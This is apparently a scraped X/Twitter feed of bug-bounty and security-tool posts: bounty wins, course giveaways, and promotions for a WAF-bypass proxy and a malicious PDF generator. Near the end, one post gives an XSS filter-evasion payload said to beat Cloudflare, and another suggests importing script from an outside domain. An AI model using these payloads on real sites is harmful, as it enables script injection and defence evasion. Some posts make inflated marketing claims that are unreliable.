apuhc

security research

[Preben @prebenve]

Found a cool bug at Meta.

From misconfigured Grafana instance to R/W access on 507 private Meta repositories.

Wrote up the full chain here:
https://t.co/LYQ0prc68d

$157k bounty awarded by @metabugbounty

[Nav Toor @heynavtoor]

🚨 Governments pay millions for this. Someone just open sourced it for free.

It's called Crucix. It watches the entire world. And texts you when something changes.

It pulls from 26 live data sources every 15 minutes and renders everything on a single Jarvis-style dashboard.

Here's what it watches:

→ Satellite fire detection (NASA)
→ Live flight tracking
→ Radiation monitoring
→ Conflict zone events
→ Economic indicators from the Fed
→ Live market prices, crypto, oil, and commodities
→ Sanctions lists
→ Social sentiment from 17 Telegram intelligence channels
→ Maritime vessel tracking
→ News from GDELT and RSS feeds

Here's what makes this one different:

It's two-way. It pushes alerts to your Telegram and Discord. You text it back. Type /brief from your phone and get a full intelligence summary. Type /sweep to force a new scan. It responds like an assistant.

It even generates trade ideas based on cross-domain signals.

No cloud. No subscription. No telemetry. Runs on your machine.

node server.mjs

That's it. Your own intelligence terminal.

This is the kind of setup that costs six figures behind closed doors.

100% Open Source. MIT License.

[Leaders 𝕏 Junction @LeadersJunction]

You'll never look at your phone again after watching this ‼️‼️

[Nicolas Krassas @Dinosn]

After 5 months of development, I'm releasing EvilWAF v2.4 - a MITM proxy that makes ANY tool bypass WAFs https://t.co/KfBhpwKLas

[sw33tLie @sw33tLie]

github: https://t.co/Uw1pBdlabN
website: https://t.co/SiQbDjz6Rk
docs: https://t.co/30tEFjDR7L

go install https://t.co/TLTzxWl0mA

or docker pull https://t.co/iPP8CqWy3j

Contributions/issues welcome. Hope you find it useful!

[apuhc @apuhccc]

@elonmusk how about grok? or any other AI model, it will be possible to be 100% controlled?

[张惠倩 @momika233]

https://t.co/AilglEpTJ0

[JS0N Haddix @Jhaddix]

Day FOUR of FIVE days of celebrating our 2 year ARCANUM-VERSARY! @arcanuminfosec

5th Giveaway = FOUR seats to our ONE OF A KIND course on using AI to scale you as a Red, Blue, or Purple Teamer:

!! Red Blue Purple AI !!

👍 1 Like = 1 Entry!
♻️ 1 Share = 2 Entries!

Winners announced 1/21! Syllabus link below 👇

[apuhc @apuhccc]

@Behi_Sec @nnwakelam hmm, for sure @zseano

[apuhc @apuhccc]

@NahamSec Bundle 2

[Ben Sadeghipour @NahamSec]

Giveaway and new course 🚨

I just released a nuclei course and we have made it a part of our Black Friday bundle. You can get all of our courses for the price of one.

🎁I’ll give some away. All you gotta do is RT & reply with which bundle you want!

https://t.co/U3ijsLW98N

[apuhc @apuhccc]

@CristiVlad25 - gau (contains the AlienVault's too)

[Intigriti @intigriti]

Testing for file upload vulnerabilities? 🧐

Check out Malicious PDF Generator, an open-source toolkit to help you generate tens of malicious PDF files designed to exploit various vulnerabilities and insecure features found in PDF readers! 🤠

🔗 https://t.co/2rGxRmfyAx

[KNOXSS @KN0X55]

#XSS is...
JavaScript!

https://t.co/wbSSrLLYvm

[N$🌟 @__nav1n_]

I just published:

From Behaviors to Shells: Yii2 PHP Framework RCE | CVE-2024–58136 — Exploit and Mitigation! #BugBounty #RCE #SHELL #bugbountytips https://t.co/WlzcxHNwmZ

[apuhc @apuhccc]

@inspector_amb @GoogleVRP nice, congrats!

[BRute Logic @BRuteLogic]

This might trick some #XSS filters out there, including CloudFlare's.

<Svg OnLoad="alert//>%0A(1)"

[Zesh AI Layer @ZeshApps]

🧵1/5
AI Agents are set to become a $50B industry and take over Web3.

They don’t just assist. They trade, build, engage, and scale entire ecosystems.

The next bull run won’t be led by tokens. It’ll be led by autonomous AI.

[NetworkChuck @NetworkChuck]

how to create, rename, and teleport between tmux windows like a ninja 👇

[KNOXSS @KN0X55]

Try import('//X55.is') instead of alert(1)